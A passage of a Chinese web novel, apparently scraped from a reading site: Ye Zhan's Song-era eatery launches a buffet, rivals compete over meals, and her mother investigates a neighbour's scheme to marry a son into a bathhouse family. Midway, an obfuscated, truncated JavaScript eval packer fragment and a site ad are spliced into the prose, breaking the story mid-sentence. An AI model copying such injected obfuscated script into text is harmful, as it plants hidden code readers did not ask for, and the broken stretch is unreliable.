这一瞧倒觉得很合乎心意,每天外出时能看见门头装饰,当时就觉得很雅致新奇,没想到店内也另有一番样子。 他的小厮忙上前寻了张靠窗的桌子,擦干净,摆正了椅子, 常老爹才咳嗽一声,很矜持拂袖坐下。 “两位是要点菜还是要自助?”来招呼的小娘子穿着青布衣裳,洗得干净,浆得挺括,看着是个利索人。 今日是奔着自助来的,小厮忙道:“是来吃自助的,姐姐,那可是什么菜肴?” 小娘子摇摇头:“自助不是一道菜,是由着客人随心所欲自己选用所有菜肴,六十文一位。” “吃尽所有菜肴?”长随惊讶,无措看向常老爹。 他没见识过,饶是常老爹都从未听说过这样的吃饭方式。 不过仔细一回味,倒觉得有意思。 叶家的菜谱几乎天天一变化,他每日里吃过来都是不重复的,可仍旧遗憾于无法全部吃尽。 而且今日吃两道菜,想着其余几道菜明天再买,但第二天店里又换了新菜,听说是掌柜的为了增加食客新鲜感又换了菜单,想要穷尽实在是难。 常老爹便倨傲点点头:“那就自助罢。” 长随交了钱,常老爹四下打量,见墙根下一排桌子,摆着各色菜肴。 “自己想吃什么选用,莫要浪费食物便是。”小娘子收了钱,笑着招呼他。 常老爹应了一声。 再次环顾食肆一圈,还是有点嫌弃的, 他自恃身份, 平日里出入都是大酒楼,本来不愿意来这种小地方, 可奈何这自助的概念实在是吸引人。 算了,来都来了。 常老爹起身打量,见那些大盆前都有木头菜牌,用毛笔写着大字:翠松玉兰卷、金银扣肉、葵花鸭子、金银镶猪肝、冬笋锅烧鸡、炸佛手卷、豆豉熏鱼…… 常老爹立刻放下了矜持,决定每样都来点。 店家提供了一个特制的大瓷盘,每样小菜都可以用粽叶盒盛放,应当为了避免串味。 常老爹各样都往盘里稍微拿了点,打算品着哪个滋味好吃第二遍再多拿些。 随后就迫不及待往桌前坐着,捋捋袖子,打算大吃一顿。 他先尝了尝翠松玉兰卷。 翠松玉兰卷是一盘小卷,外面是玉兰片,里面裹着各色蔬菜丝,青菜嫩绿,胡萝卜发红,蛋卷丝黄澄澄。 原本整道菜是一盘摆成圆环状的,可这回自助只用夹起一个尝尝味就是,还能腾出肚子去吃别的菜肴。 常老爹一下就觉得自助这法子不错。 再看周围,除了他还有不少衣着富贵的客人。 有人穿着官袍,有人是杏花巷熟悉的老街坊,有人是身上配饰一眼就不凡。 常老爹思索一下就明白了,自助六十文一位,出得起这钱的也不大应该是市井粗鄙百姓,便将刚才的不快丢了大半,伸出袖子做出大吃一场的架势。 他继续品尝下去。 金银镶猪肝是凤尾状,孔雀翎羽中间有个大眼睛,这金银镶猪中间的眼睛便是半透明的油脂。 外面是猪肝,里面是腊肉。 原来是猪肝里面灌了肥肉,再一起做成了腊肉腊猪肝。 如此一来便是腊猪肝包裹着一块腊肥肉,也不知道做菜人哪里来的巧思能想出这样奇妙的点子。 腊猪肝外面一层因为熏烟和腊制的缘故吃起来微微发硬,却也更增添了一份豪爽。 里头的肉质保留了猪肝的口感,还是绵软,沙沙的,有颗粒感。 最中间这个圆形半透明的腊肉吃起来肥香满口,肥肉特有的油脂一下就流了满口,正好中和猪肝沙沙的口感。 当真好吃。常老爹又夹一块炸佛手卷,脆皮里头肉蛋齐香,一边夹一块豆豉熏鱼 ,咸香伴随着酥鱼块,重味咸口。 而且因为自助的缘由每道菜都不会吃多,吃个一两口尝尝味道,浅尝辄止之余能尝遍许多种美味。 常老爹想起自己前些天叫小厮来叶家食肆买盒子菜,总共也只能买两三个菜,总归是不尽兴,哪里像今天这样一般,一口气吃了许多种? “痛快! 小厮一看老爷说了声痛快,预备着老爷要写诗,早就从随身带的木盒里熟练翻出宣纸,准备擦干净桌面放在桌上伺候笔墨。 谁知老爷大手一挥:“再拿点。 还放了恩典:“你也不用服侍着了,去旁边买碗面吃吃。 小厮大喜,他在旁边伺候着早就看馋了,虽然六十文一份的自助捞不着吃,但叶二姐炒面也不赖啊 当即弯腰鞠躬:“谢过老爷。 老顾客们纷纷往店里走,吸引了旁的路人也来凑热闹。 原本这巷子偏僻,寻常人想不到进巷子里来。谁知今日时不时就见人往里头走,穿着打扮还颇为体面,就让人生了好奇,探头要看:“是什么热闹? 待到看清楚,原来是一家食肆。 再仔细看这家食肆布置得不错,门外木地板茉莉花,还没见过这样风格,便免不了要来看看究竟。 陈少爷就是这么过来的。摸摸肚子,正要到饭点,他便想在这家脚店凑凑热闹,谁知刚走进店门这才看见那头有个人也同时伸出一只脚踏上了台阶。 定睛一瞧,居然是死对头邱员外。 两家原是邻居,后来邱家建房,把陈家预留出来给公用巷子的地也圈进了自己家, 陈家不服,闹到里正那里评理,逼着邱家把已经盖好了一层的青砖墙拆掉, 邱家不服气,居然趁夜黑往陈家院里扔了些腌臜之物。 因此两家生了嫌隙,彼此不和。 陈少爷看见就冷哼一声:“囚根子。这是他给邱员外起的绰号,土话里拿囚根子骂人,意思是进囚狱的根苗。正好邱员外姓邱,拿来骂他算是信达雅。 两人对视,互相翻了个白眼,同时将头偏转过去 陈少爷原本想避开,转念一想,凭什么我让着囚根子? 当即也大腿一迈,走进了店里。 邱员外也存了较劲的 心思,进来就挑了店里最中央的位置坐下。 哼,我偏坐在你旁边。陈少爷稍稍然进来,衣裳下摆一提,端端正正坐在长凳上, “这……吃些什么菜呢? 陈少爷看了半天,这灰水米粽、盐水胗花、鱼香全茄、醋油拌小瓜、桂花排骨、鸭茸彩蛋、雪衣鱼条、叉烧鸭块。 每一样都让他难以割舍。 最后陈少爷点了单:“来个灰水米粽、鱼香全茄、再加一个雪衣鱼条。 吃不完没关系,要得是气势,到时候邱员外看自己桌上满满当当,还不得丢了面子? 想了想:“再加鸭茸彩蛋、盐水胗花、醋油拌小瓜。 大不了打包回家,给兄弟们桌上也添几道菜式。 点完菜后还倨傲瞧了邱员外一眼:吃得起吗? 如今汴京城里的酒楼流行报菜名:就是点单后店小二大声飞快包出客人点的菜和打赏,为的是让食客有面子。 可惜这家店没有这样的服务 而且店家小娘子也并未急着点菜,而是先问他:“客人考虑自助吗? 自助? “就是店里的菜任吃,价钱只收个六十文便是。 “我看客人点了这许多菜肴,算下来价钱早超过六十文,您又是一个人上门,吃不完那许多,何不试下自助? 陈少爷想了想点点头:“好。 邱员外也不甘示弱,点了一桌菜。 邱员外一开始站在店门是被新奇的门头所吸引,等看见了陈少爷后想别苗头才进了来,否则他转身就走,陈少爷还以为邱家怕了他呢。 进了店,却仍然不觉得这家店能有什么好吃的,一家小小脚店,左不过是卖些贩夫走卒喜欢的简陋吃食罢了。 因此草草点了一桌,不好吃,大不了叫人跑腿送去给亲戚们,也算做个人情, 店家小娘子同样去提醒,邱员外却眼睛一鼓,很是自大:“不用,我不是那样穷酸做派。 说完还眼睛瞥了一眼陈少爷。 陈少爷气急,但想起父母告诫不许在外与邱家争斗,状如市井泼汉,白白丢了陈家脸面。便只能生生咽下这口气。 不过心里有点后悔,早知道就不听店家的了,直接点一桌菜多好啊。 浪费就浪费,花钱就花钱,将邱员外的面子当众踩才是正经, 点完菜陈少爷沮丧,也不想起身去盛菜,直接吩咐店家:“每样来一点,帮我送过来便是。 店家小娘子笑吟吟应了下来。 邱员外的菜上桌,回头瞥了一眼陈少爷桌上:似乎也没什么菜?就一个盘子,里面盛得满是满,但是就一个盘子,挺寒碜啊。 陈少爷才不管他呢,他在专心打量桌上的菜。 这粽叶被编成巴掌大的小方盒,里面盛放着各色菜肴,挨挨挤挤,很是热闹。 他闻见这些香味看见这些菜品就觉得自己饿了,赶紧动筷子吃饭。 吃进去第一口眼睛瞪圆:“佳肴! 灰水米粽软糯的糯米里清香四溢,鱼香全茄酸甜开胃, 雪衣鱼条则鱼肉鲜嫩,外皮脆脆, 至于盐水胗花切得细致,拿来配酒正好,醋油拌小瓜则清爽解暑。 其余十几种菜肴吃下来,才觉得这道菜着实是饕鬄盛宴,原本与人好胜争斗的心思也悄然散去。 只有在眼帘无意间扫到邱员外时才想到他也在这家店里。 不过这都无所谓了,他起身。 邱员外以为他要来自己打架,吓得一缩脖子,警惕盯着他手里的盘子,生怕那盘子一个倾覆就拍到自己脸上。 谁知陈少爷脚步轻快越过他:“店家,我再来盛些。 他这回吃得半饱,就挑了些汤水点心:紫苏饮、牡丹酥、香煎馉饳、杏仁果酱嫩豆腐。 邱员外瞥了一眼,又飞快收回视线, 这小子精啊! 你看他只花了六十文钱,就把所有的菜肴都尝了一遍,而自己花了一百文摆了一桌,吃得品类却没他吃得多。 想要叫店家过来问问能不能改成自助,却又不想当着陈少爷跌份,便装作若无其事得吃菜。 其实他点的菜肴也很好吃,不得不说这家小小脚店的老板有两把刷子, 吃着菜,隔壁桌上的香气直往这里窜。 紫苏饮还散着热气呢,袅袅雾气四散,带着紫苏独有的清窍气息,闻一口感觉整个人都净化了。 再就是杏仁豆腐,本来豆腐没什么味道,可上面浇灌着的果酱浓厚啊,能闻见石蜜、林檎、李子 、鹅梨等多种香气,果子们馥郁的浓香直往鼻子里窜。 邱员外小心觑看,就见黄橙橙浓郁的果酱都要挂不住了,一个劲从豆腐面往下流, 那豆腐也实在是嫩,被果酱压得颤巍巍抖个不停。 雪白的嫩嫩豆腐,上面橙黄果酱厚厚一层。 啧啧,这店家真是浪费,区区一个甜点心,放那么多果酱干什么? 邱员外咽了咽口水,却立刻撞到一个冷厉的目光上。 是陈少爷,他目光灼灼,正盯着偷看的自己。 邱员外心虚,本能摸了摸鼻子,就见陈少爷哼了一声,倨傲得把豆腐盘子挪到更近些,又拿了茶壶挡在原本的位置,将邱员外的视线遮住。 可恶! 邱员外在心里狠狠骂。 只能低下头装作对自己盘里的菜肴很感兴趣的样子,结果不小心就吃多了,最后撑坏了,捧着肚子出门。 宓凤娘胆战心惊站在后厨,打量着周围的情况。 她到底还是不放心,打着帮忙的幌子来店里探视,生怕两个憨女儿赔本赚吆喝。 遇上第二次来加菜的顾客,她立刻热心上前,笑道:“客人,我来帮您盛。” 满脑子盘算着盛菜的手要好好抖一抖,好把菜肴从饭勺里抖出去才好。 却被叶盏笑着扶她去后面:“客人自己盛便是。” 玉姐儿乐呵呵给客人解释:“我娘见不得女儿忙,来帮忙哩。” 宓凤娘阴谋被女儿识破,无奈只好嘀咕了一声“两个油嘴子”后去洗菜,只不过心里还是怀疑:会赔钱吗? 想到可能会赔钱,她菜也不洗了,直起身偷偷打量大堂。 从客流量来看,人倒是很多,一拨接着一拨客人,来的客人里要自助的是大约有三成, 再打眼仔细打量,那些自助的客人大都回头取了第二遍,甚至有人过来取用了第三遍。 这可如何是好? 宓凤娘急得热锅上的蚂蚁一般,又不敢故技重施怕惹恼了女儿,只好自己干着急, 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“等等。”她忽的想起什么,蹑手蹑脚去外面,将店铺的木板拿起上了门板, 又回店里翻出个破抹布当做包袱皮笼起钱匣子, 想想还是不妥:“你们在店里等着,我去寻你两位哥哥接你们回家。” “娘,您就别烦扰了。这爿脚店谁家赚得少?若是都怕被偷那日子还怎么过?”叶盏赶紧哄她两句,“倒是鬼鬼祟祟落到别人眼里反而不美。” 宓凤娘想想是这么个理,便放下了钱匣子,人却高兴不已:“乖女,我们家,如今可是要转运了!” 第一天开自助生意甚好,第二天人数翻倍。 原来许多第一天犹豫的食客看到了别人吃自助的样子,自己再也忍不了了! 一样坐在店里吃饭,自己要思索半天,要搭配有荤有素、既要有下饭菜又要清淡适宜,纠结了半天, 回头一看别人早就吃上了。 因此包括邱员外在内很多人都选上了自助。 昨天看那小子吃得香,他早就馋虫痒痒了。 因此第二天选择自助的客人又多了许多。 玉姐儿高兴得眼睛发亮:“这样下去岂不是自助客人会越来越多。” “不会,增长到一定量肯定会停止。”叶盏这时候还很冷静,六十 文吃一段饭可不是人人都负担得起的,有钱客人毕竟占少数。 要想彻底做大有钱人市场,还要等实力雄厚些以后再开设一家高档酒楼,现在店里那些客人没挑剔全是看在菜肴的面子上,可他们本质上还是很在意环境的。 又不是演电视剧,穿越女开一家小餐厅就能吸引四方客人前来捧场。 这吃饭一事对有钱阶层而言,食材、菜肴、环境氛围缺一不可。 宓凤娘前几天挺胸抬头, 原先路过聚众磕牙的街坊们心里想的是“你们不懂月赚十八两银子的辛劳,现在变成了“你们不懂月赚三十两银子的辛劳。 只不过这回她更有钱了反而变谦和了, 见谁都要逗趣两句,不是跟路过的老人们挨个笑着打招呼,就是逗弄包在襁褓里的小婴儿,在炭场巷的人缘创立了新高。 这番做派,当然被她的死对头所不喜。 何兰翠就特意挑着宓凤娘经过时在巷子口开腔,说起街头一个豆腐西施:“有人拿着女儿赚那黑心钱,说是卖豆腐,实际是卖豆腐。 她说得俏皮,惹得街坊婶子们都笑。 宓凤娘哪能听不出这是在映射自家? 当即肚子冒火,她上回还攒着对何翠兰的不满呢,要不是她最近操心女儿赚钱大业早给何翠兰使了好几个绊子了,还轮得到这条老狗在这里吠叫? 何兰翠见街坊们都笑,越发得意:“我看那种凭着姿色卖吃食的,还不如那倚门卖笑的暗门子呢,至少人家不是挂羊头卖骚狗肉! 狠狠指桑骂槐说了一顿后才觉痛快。 宓凤娘虽然说自己女儿没赚到钱,但她就是看不惯宓凤娘满巷子进进出出时满面春风的样子。 昨天丈夫就称赞宓凤娘走路有精气神,从后面看背影还当谁家的小娘子呢,一句勾起了陈翠兰的火气。 哼,都坐五望六的人了,头发梳那么光亮,脸蛋光彩照人,也不知道得意些什么呢! 自己可是能出入大户人家的梳头娘子呢,丈夫在箍桶作当个箍桶工,家底比叶家殷实多了,都不曾像她那般得意忘形。 宓凤娘还能容忍何翠兰放肆?她早就对这婆娘心里憋了一肚子气,这下是再也忍不了了,当即开口:“这天是要落雨?惯爱满街飞撞 的蜻蜓子都飞出来了,满口胡吣些谣言,什么三只腿的金刚、长着两只鲸角的大象都冒了出来,听得人好生糊涂。不知道得还以为谁家粪坑炸了呢。 一连串骂人不带重复骂了个痛快。 何翠兰吃亏就吃亏在没宓凤娘脑子快,骂人的话也要背地里思索多久,刚才骂的那几句她已经暗地里憋了好几天, 一时脑里空空,被骂得哑口无言,只有憋红了脸,气得怒目圆睁。 宓凤娘冷哼,就这么点嘴上功夫还想跟老娘叫板?她拍拍屁股扭头就走,月赚三十两,老娘可没那个功夫陪你磕牙! 且等着吧,奶奶我现在就寻寻你家的阴私短处,叫你这狗才在背地里给老娘弄鬼! 作者有话要说 晚安,明天晚上九点更新,至少六千。本章发红包感谢大家支持感谢在2024-07-2722:56:29~2024-07-2921:29:17期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出手榴弹的小天使:敏敏骑士1个; 感谢投出地雷的小天使:苏苏、郄绿菱、沙发上的白日梦1个; 感谢灌溉营养液的小天使:敏敏骑士194瓶;掌心里没有爱133瓶;阿阿阿槿呀67瓶;平生最恨玛丽苏40瓶;葡萄大汁、弥渡、摘下草帽向您致敬的花30瓶;阿是、雪梨史东、姜饼太太、嘉尔女朋友、不要熬夜不要熬夜、沙发上的白日梦、米粒儿、ponyo、qiqiqi、白色亭子、今天一定要早点睡10瓶;今天也要加油呀、悦书妞、春日游玩、扶桑枝头花未眠、云淡风轻why、幺幺5瓶;三水2瓶;柠檬西柚、taotaotu、阿狸、真理、别把预收放前面、舒心、苏苏、明、?、不知道叫什么好、April-Sakura、繁花似锦觅安宁、记住我1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 30 章 廉租房 宓凤娘一旦下定了主意找何兰翠麻烦,便干劲十足。 先是跟巷口街坊们搞好关系,这些日子她沉迷赚钱连闲聊嗑牙的时间都没有了,因此回到巷口跟街坊们大聊特聊。 聊了半天就知道了最近何兰翠颇为嚣张,而且举止也极其反常:她忽然有钱了! 原本何兰翠是梳头娘子,丈夫在箍桶作,两口子都有手艺在身,日子本来也应当比宓凤娘过得好。 奈何三个儿子各个不省心,眼高手低看不起手艺人,不愿意承继爹娘手艺,上了年纪就游手好闲,镇日里闲游闲逛,与些不三不四的人混在一起。 有钱了就去酒楼花楼大吃大喝,没钱了就去爹娘手里讨要,讨要不到便偷家里的物件去买卖。 有三个儿子做无底洞,再厚的家底也被掏空了。 何兰翠原本也就是外头穿衣打扮勉强撑着体面,其实家里比大杂院中最穷的人家还空。 一件二十年前样式的衣衫洗得都快白了还在穿,鞋子破了洞就拿绣片缝上,总归是捉襟见肘。 谁知道这些天她忽然一改往日风格。 开口说要裁衣买首饰,大手大脚铺张浪费了起来。 “昨儿我见她买了好肥一只酱鸭子。”街坊们咋舌,“那走一路油滴得啊……” “还有前儿个胡家头面行给她送来了好些头面冠梳。” 宓凤娘听得心头疑窦丛生,何兰翠哪里舍得那许多银钱?背后肯定有猫腻。 那多余的钱是哪里来的? 有位大婶边纳鞋底子边猜测:“难道是她哪个儿子忽然发达了?” 说完后她立刻摇摇头:“不应当啊。” 旁人不知道,他们这些街坊们还不知道吗? 何兰翠三个儿子一个赛一个烂泥扶不上墙,哪里会有出息? 何兰翠自己也不教训。 听说何兰翠早些年在乡下一口气生了三个女儿,老大被当场送了人,老二被家翁捏住脚活活淹死在尿壶里,老三被家里人捏着手脚撕裂,为的就是震慑女婴不许投胎。 她也因为生不出儿子来没少被公婆折磨,数九寒天月子里还要去挑水,晚饭时公婆把饭食带到自己房里去吃,任由她饿着。 在外务工的丈夫听人撺掇想在汴京再纳 个小生儿子。 村里人也嘲笑她,欺负她,因为“她没有儿子撑腰”。 何兰翠倒在雪地里,半疯不疯。 一朝时来运转她生了个儿子,坐月子时就喝上了红糖水冲蛋。 这还没完,之后又一口气生了两个儿子,算是给老张家留了后。 从此何兰翠地位一跃而高,在家里横着走,公婆任由她打骂,邻居见她也只能赔笑,因为邻居家只有一个儿子,以后打架打不过她家。 她也终于被丈夫接进了城里,跟人拜师学艺学了梳头的技艺成为了梳头娘子,以后再也不用过地狱里一般的日子。 有这样的舒心日子,当然是拜儿子所赐! 儿子们是自己的救命恩人,是她站稳脚跟脸上有光的原因,是她从张家奴隶一跃成为主人翁的救星,是她在邻居丈夫族人中腰杆挺直的依靠。 谁会教育自己的救命恩人呢? 何兰翠把三个儿子当宝贝一样,舍不得舍不得骂,还护着不许丈夫教育,赚出来的银钱都娇养儿子,把他们各个打扮得如富人家小少爷一般。 几个儿子直到十八岁都是跟她同睡,十五岁时还要她穿衣穿鞋,被溺爱得四体不勤五谷不分,满心虚荣,只知道讲究吃穿。 要不日子也不会越过越糟心。 这样教育出来的儿子,能忽然有钱? 宓凤娘听着街坊们议论,一句话不说,装认真嗑瓜子, 她手抓瓜子抓得勤快,说好是请街坊们吃的瓜子,她嗑了大半,直磕得嘴角齁咸。 等吃完瓜子后心里便有了数。 第二天她特意称了二两甘草杏片,往箍桶作走了一回, 装作要买箍桶跟那里工匠师傅们打听了一回,得知何兰翠丈夫新近没有提等也没有涨俸。 她丈夫还是一样的工钱,何兰翠本人梳头技艺又平平,不过是给富人家不得宠的偏房梳头,赚不了两个银钱。 好一个宓凤娘,一不做二不休,索性跟了何兰翠身后偷摸跟踪,终于被她发现了何兰翠往城东去。 城正东有将军府,还有王府,在外面便是上清宫、崇夏寺,难道她还真来了狗屎运,榜上了富家夫人的大腿不成? 宓凤娘恨得牙根痒痒。 再仔细看却发现何兰翠 往一家澡堂子里去。 她不去洗澡,却将手里拎着的一提白糯米纸包着的方糖糕、两节子红纸包着的白生生召白藕递给了澡堂子老板娘,满脸堆笑。 两人似乎很熟悉,笑着打过招呼之后,何兰翠就熟练系了围裙往澡堂里去清扫浴池。 宓凤娘看得一头雾水:何兰翠这厮是寻了个打扫澡堂的活计? 那送礼又是怎回事?何况澡堂帮工才赚几个钱,够她打半个簪子尾巴?再者,炭场巷附近打零工不好么?非得走了老远去东城帮工? 宓凤娘满肚子疑问,准备日后慢慢查访。 可是她跟了好几回,见何兰翠几乎是天天去澡堂,有时带礼物,有时不带。 但不管哪次,都没有跟澡堂老板娘手里接过一文钱报酬。 这还真是奇了怪了。宓凤娘琢磨这事,连酒都不喝了:何兰翠这么个爱占小便宜的性子,怎么会白给人帮工干活? 也是宓凤娘运气好,第五回偷跟何兰翠,碰上她半路在包子摊吃猪羊包子。 宓凤娘背身蹭着行人过去站在旁边的猫行里,假装在挑选狸猫,耳朵却竖起来。 何兰翠本就是爱炫耀的人,不过几个包子下肚,就拍着肚子使唤包子铺掌柜:“店家,拿你家纯羊肉包子上来,便拿膻气的猪肉包充面子。 宓凤娘不好出声,却撇撇嘴:猪肉包怎么不好?我家盏儿做得猪肉包比羊肉查不到哪里去。 掌柜的见是大生意,便端上了羊肉包,又恭维几句。 何兰翠越发用鼻孔看人:“我儿要娶个大户姑娘进门,以后嫁妆大笔,吃穿不愁,还缺这几个包子钱? 宓凤娘差点把手里逗猫的鱼干捏碎:怎么这个尿泡种子老花子倒真走了狗屎运? 何兰翠不知背后的猫儿行里站着死对头,还在那吹呢:“家里开澡堂的,也是中等门户,老两口只有个女儿,宠得掌上明珠一般,那不得把家私都陪送上? 宓凤娘听明白了,怪道这何兰翠天天去澡堂干活,原来是给自己干呢! 汴京流行厚嫁女儿,许多人家陪嫁几乎都要掏空家底,互相之间还会攀比。 这澡堂掌柜家只有个独生女儿,肯定嫁妆只能更厚。 可是嫁进这么个人家,不是毁了人家小娘子吗 ? “我呸,你还想发这一笔绝户财?我叫你狗咬尿泡——空欢喜一场!宓凤娘狠狠在心里发誓。 赚了半月钱叶盏手上才松快了些,原先她摆摊的钱全投进了新店,新店开张后虽然赚得多,但又是买整鸡买羊肉,成本也居高不下,过了十几天手里的钱攒够了十八两银子。 抛掉这月成本与房租,再留了备用金,叶盏拿出三两银子做两人的酬金。 这钱按照约定分了一两给玉姐儿,她连连摆手拒绝:“留着店里花费罢。 娘天天嚷着赚钱发财了,她却知道店里运转成本不低。 叶盏坚持给她:“我已经预留了出来,剩下便是我们自己花销的。 玉姐儿拿了钱,激动得将银子送进嘴里咬了又咬,又举起对着窗外照进来的太阳照照,放在耳边用铜钗敲敲听银子的回音。 “药铺的坐诊郎中说银子是一味药,疏肝解郁,能治心神不宁,我还不信呢。 小说全网首发无弹窗免费阅读qiexs.com?(请来企鹅 小说 看最新章节 完整章节)她笑眯眯拿出个荷包,将银子妥善放进荷包又将荷包挂在脖上,让银子贴着自己心脏,“没想到拿了银子之后我一下心神大定,心情舒畅,比喝几副小柴胡汤①还管用! 好药! 叶盏自己拿了二两银子,拿了银子第一件事便是想改善家人的居住环境。 宓凤娘舍不得现在住的地方:“独门独院自己清清静静住着,又有灶房,租金又不高,哪里就要搬走? 叶盏手里的钱先想投入再生产,因此也不急着租房买房,只想给家里多租赁一间房子, 如今家里男女只用一个布帘隔开,两位哥哥为了妹妹们方便索性都躲了出去在外面住,再租一个房间,男女分开,她们也能更宽敞。 才刚把这念头露出来就遭到了家人的拒绝:“哪里要花那个冤枉钱? “如今你二哥住在军巡铺里,大哥外面有自在去处,我们住得宽敞,花那个钱做什么?叶大富振振有词。他的观念里儿子们粗糙些养便罢。 宓凤娘也点头:“若是你嫌房里挤,我去你店里打地铺便是。正好陪陪青娘子,免得她一人做夜宵时害怕。 “娘,人家赁了就是人家的,哪里容得我再随意分派?叶盏眼看她动手就要张罗铺盖,赶紧拉住她手,“再说了做饭的地方睡了人,虽然开 窗通风但总是有股怪味哪里对得起食客?” “哪里哪里这也哪里那也哪里……”宓凤娘放下铺盖嘴上却不服输嘀嘀咕咕学女儿的腔调阴阳怪气。 叶盏叹口气不理会亲娘扭头去问赵夫人。 赵夫人好说话:“只不过大杂院里如今住满了没有多余的房间。” 赵小七倒给叶盏值了条路:“你可以去楼店务问问。” 叶盏便打听了路去询问这才知道原来楼店务是大宋官府的租赁房子组织管着公租房一间月租金五百文相当于后世的廉租房②。 家人陪着叶盏来叶大富看见楼店务的门头先缩了缩脖子:“是衙门呢。” 他们这些百姓对官府生来保持着适当的敬畏心。 叶盏不慌不忙赔了笑脸询问路过的人。 那人见一位俏生生的小娘子端正立稳了跟他问话自然热情几分:“那是掠钱亲事官他们管着这事呢。” 叶盏按照他的指点寻了一名掠钱亲事官说了自家想赁官府的房子不知有什么要求? 那位掠钱亲事官应了下来不过他也说明:“这房子优先孤老寡贫和破产无片瓦遮身之人你们若有房产便只能轮候。” 叶盏便报了自家户主姓名、所在里坊、受管辖区域、管事的里正等信息又将现有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宓凤娘更是坐在巷口把女儿举动吹上天去,这回跟银钱无关,不用藏富,她是美美将女儿炫耀了一番。 就连往来的邻居们看到叶盏,也都多了几分敬重。 准备搬家,金哥儿难得笑逐颜开:“我那些瓶瓶罐罐总算有地方放了。” 银哥儿也露出了喜色:“兄弟们老打鼾放臭屁,还有脚臭,可算能安生睡个觉。” 宓凤娘一听孩子们受了这么多委屈,便绝口不提退房的事了:“也罢,回头我去大相国寺集市上,扯二尺布,给你们缝些新被褥铺盖。” 却被丈夫拒绝:“男儿家糙养,我们抱走旧的,你给女儿们缝新的便是。” 宓凤娘到底还是打算给儿子们各缝一床,只不过家规还是要立好:“以后不管多忙,每人每天都要去食肆里帮忙,端菜也好倒污水也罢,总归不能让做妹妹的养着哥哥。” 金哥儿和银哥儿自然是满口应下。 叶盏忙替哥哥们说话:“二哥只要不 当巡就在店里洗碗大哥帮我们推荐了不少生意常有跑腿帮闲们过来店里要某道酒菜说是大哥陪人喝酒时说起的。”捎带还会教她们认两个字。 金哥儿嚷嚷着要去买香胰子:“银哥儿说他军巡铺的兄弟们有脚臭万一染给他如何是好?帮你洗洗才允许你上我床。” 银哥儿闷声闷气反驳:“又是香胰子又是花露上你的床倒像上了女人家的香闺。” 多赁了一家房又多了些银钱叶家上下心里都极为畅快 叶盏便大手一挥:“我请客我们去逛街采买加吃饭都由我来结账。” 宓凤娘当即提议:“不如我们去东大街洗浴。” 出了丽景门沿着旧宋门内大街一路往西直接就到浴堂巷。 浴堂巷顾名思义一条街全是浴堂。即使是夏日都觉得一股热浪袭来雾气袅袅像是仙境。 全汴京城的百姓都愿意来这里洗浴便是些闲人老爷也拎着鸟笼来这里闲坐谈生意。 门口挂着一个大壶这是大宋规矩招牌挂个壶就是浴堂。 叶盏看完就明白了这与后世江南等地的老虎灶相似前面茶馆后面泡澡前后需要十文钱。 宓凤娘带路:“我瞧着这家阮氏香水行干净我们就挑这家吧。” 香水行此香水非彼香水而是指代干净的水香汤沐浴大约相当于现代的洗浴中心。 家人自然听她的。 叶盏穿越过来还是第一次进集体澡堂子 她刚穿越过来没法洗浴就用热水擦身要不然就等灶房煮完饭用灶火余炭烧些温水用葫芦瓢舀着浇身。 今日才算是痛痛快快洗了一回。 澡堂子内分了男女内里也有三六九等有下饺子似的大澡堂也有隔开的小热汤池。大澡堂里坦诚相对很是坦然的大宋百姓慢悠悠洗澡。 叶盏索性出钱包了两个单间男一间女一间。 小时候孤儿院为便于看管将几十个小朋友一起送进澡堂由育儿员一个个搓澡她不小心走错队 让叶盏惊讶的是往常宓凤娘会摇摇头说浪费可这回她一句话没说倒心事重重似乎在探听什么。 作者有话要说 第 31 章 丝鸡面 先冲洗一遍身子上的泥土灰尘,再用上肥皂团、澡豆等物搓身。 肥皂团、澡豆能自行购买,也能从香水行自己购买,香水行老板娘提着一竹篮肥皂团搁着隔间帘子请人挑选,算是香水行的一项收入。 叶盏几个凑过去打量,这肥皂团也不贵,是用白芷、白丁香等草药,混合猪肥肉加上皂角果鸡蛋清混合成丸子摸样。 除了肥皂团还有牙粉,将柳枝槐树枝煮水熬膏,加入生姜细辛,拿来擦牙,据说能让牙齿亮白光洁,不生蛀虫。 叶盏便出钱买了几块肥皂团用,姐妹几个挑选各样, 叶盏拿了一块丁香紫的肥皂团,搓在身上居然也起泡沫,还有草木清香,跟现代的肥皂相比丝毫没什么不同。 想招呼宓凤娘用,却见宓凤娘正拿着一块澡豆在身上搓呢:“老板娘,买了你家这好几块,饶我一块罢。” 老板娘一看这家人买了好几块,便应了声好。 叶盏哭笑不得,见亲娘与老板娘闲聊,还当她又是想套近乎减钱,便摇摇头放下隔间帘子自己去一边洗。 却不知道宓凤娘有自己的盘算。她索性裹着大单子从隔间里出来,跟老板娘闲扯。 如果说叶盏是汴京厨艺最高强的人,那宓凤娘在套话拉近乎这方面也能当个状元郎。 几句话下来,她就把这家人的底细探听了个明白: 这家阮氏香水行的当家人叫阮茂实,两口子勤劳朴实,膝下唯有个女儿。 眼看着女儿到了成婚之年,老两口四处为女儿寻摸可心的夫婿。 宓凤娘装作不经意道:“那可是巧了,我是我们坊最好的媒婆,若是有意我也能帮你。” 阮阿婶一听喜出望外:“那敢情好。要烦扰您多费心。” 阮阿婶看着就是淳朴人,没有什么防人之心,几句话就将家里的苦水倒给了宓凤娘: 她着急让女儿成婚是有苦衷的:阮家乡下还有叔伯兄弟,按照族规没有儿子侄子就能来继承他家家产。 虽说《宋律》保障了女户的权益,但很多地方办案官府都会考虑当地乡规族规酌情考虑,毕竟地方长官要办事很多地方都要依仗本地的乡绅大族。 阮茂实两口子现在唯一的指望就是两人远在汴京城讨生活,到时候 就算扯皮也是上开封府。 开封府毕竟要比本地县城的长官更不怕本地乡绅族老。 他们指望着赶紧给女儿招夫郎生个孩子,到时候就赶紧立个女户。 再上开封府打官司也更加理直气壮,能拿出女户相关的条款来诉讼。 “招夫郎?”宓凤娘重复了一遍。 “是啊。”阮阿婶还当她没听清,又重复了一遍,“找合适的人来入赘。” 赘婿?宓凤娘明明白白记着何翠兰跟人炫耀得意洋洋说的是“姑娘嫁进我家,带丰厚嫁妆过来。” 